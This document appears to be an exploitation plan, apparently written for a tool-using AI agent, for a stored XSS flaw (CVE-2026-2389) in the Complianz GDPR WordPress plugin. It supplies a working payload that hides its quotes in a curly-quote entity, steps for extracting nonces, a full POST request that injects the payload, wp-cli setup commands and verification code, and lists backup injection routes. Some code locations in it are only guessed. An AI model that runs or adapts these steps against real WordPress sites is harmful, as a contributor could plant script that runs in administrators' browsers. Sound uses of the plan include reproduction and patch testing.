Exploitation Research Plan: CVE-2026-2389 - Complianz GDPR Stored XSS

1. Vulnerability Summary

The Complianz – GDPR/CCPA Cookie Consent plugin (<= 7.4.4.2) is vulnerable to Stored Cross-Site Scripting (XSS) due to an unsafe string replacement logic in the revert_divs_to_summary function (typically located in content processing logic). The function replaces the HTML entity ” (Right Double Quotation Mark) with literal double-quote characters (") in the post content.

This replacement occurs during the rendering phase (via a filter like the_content) after WordPress's core security filters (like wp_filter_post_kses) have already processed and sanitized the content. By using the entity ”, an attacker can bypass the initial sanitization that strips or encodes literal quotes in dangerous attributes (e.g., onerror), only to have the plugin "re-arm" the payload into executable HTML when the page is viewed.

2. Attack Vector Analysis

• Endpoint: wp-admin/post.php (for saving content) or any endpoint that updates post content.
• Hook/Action: The plugin hooks into the_content (or a similar document generation filter) to process placeholders.
• Vulnerable Parameter: post_content.
• Authentication Level: Contributor or higher (any user role allowed to create/edit posts).
• Preconditions:
  1. The Classic Editor plugin must be installed and activated.
  2. The Complianz plugin must be active.

3. Code Flow

1. Entry Point: A Contributor user saves a post containing the payload: <img src=x onerror=&#8221;alert(1)&#8221;>.
2. Storage: WordPress core sanitizes the post. Since ” is a standard HTML entity for a curly quote and not a literal quote, it is often permitted within attribute values during the initial wp_kses pass for Contributors.
3. Execution (Sink): When a user (e.g., Admin) views the post:
   • WordPress triggers the the_content filter.
   • The plugin's filter (likely registered in class-document.php or functions.php) executes.
   • The function revert_divs_to_summary (inferred) is called on the content.
   • Vulnerable Line: str_replace('”', '"', $content) (or equivalent logic).
   • The resulting HTML becomes: <img src=x onerror="alert(1)">.
   • The browser executes the JavaScript in the onerror handler.

4. Nonce Acquisition Strategy

This exploit leverages the standard WordPress post-creation flow. To save a post as a Contributor via the http_request tool, a _wpnonce is required.

1. Identify Flow: Navigate to the "Add New Post" page.
2. Action: Use browser_navigate to wp-admin/post-new.php?classic-editor.
3. Extraction: Use browser_eval to extract the _wpnonce from the form.
   • Variable: document.querySelector('#_wpnonce').value
4. Alternative: If using the REST API to update content, navigate to any admin page and extract the wp_rest nonce from the wpApiSettings object.
   • Variable: window.wpApiSettings?.nonce

5. Exploitation Strategy

Step 1: Environment Setup

1. Ensure the Classic Editor plugin is active.
2. Ensure Complianz GDPR is active.
3. Create a Contributor user.

Step 2: Content Injection

Perform an authenticated POST request as the Contributor to create a post containing the payload.

• URL: http://localhost:8080/wp-admin/post.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: editpost
  • post_ID: [NEW_POST_ID] (obtained from post-new.php or by creating a draft first)
  • _wpnonce: [EXTRACTED_NONCE]
  • post_title: XSS Test
  • post_content: <img src=x onerror=&#8221;alert(document.domain)&#8221;>
  • publish: Publish (or submit_for_review)

Step 3: Trigger Execution

Navigate to the front-end URL of the newly created post (e.g., /?p=[ID]).

6. Test Data Setup

1. Classic Editor: wp plugin install classic-editor --activate
2. Contributor User: wp user create attacker attacker@example.com --role=contributor --user_pass=password123
3. Plugin Config: Default Complianz configuration is sufficient, as the content filter is generally global for document/cookie policy integration.

7. Expected Results

• Stored State: Querying the database wp_posts table for the injected ID shows the literal string ”.
• Rendered State: Viewing the post HTML source in the browser shows <img src=x onerror="alert(document.domain)">.
• Action: An alert box showing the site domain appears in the browser.

8. Verification Steps

1. Database Check:

   wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test' LIMIT 1"
   # Verify output contains ”
   

2. HTTP Verification:
   Use http_request to GET the post permalink and check if the literal onerror=" (with straight quote) exists in the response body.

   const response = await http_request.get("http://localhost:8080/?p=[ID]");
   if (response.body.includes('onerror="alert')) {
       console.log("Exploit Verified: Entity converted to literal quote.");
   }
   

9. Alternative Approaches

If the the_content filter is not targeted directly, the vulnerability may exist in the "Legal Document" generation path.

Backup Strategy:

1. Check if Complianz provides a shortcode like [cmplz-document type="cookie-statement"].
2. If the XSS payload is injected into a section that the plugin pulls into its generated documents (like a custom footer or data request page), the same revert_divs_to_summary logic may apply during the document rendering.
3. Attempt to inject the payload via the plugin's "Processing Agreements" or "Data Requests" fields if those are accessible to Contributor+ roles or via an unauthenticated data request form (if improperly sanitized).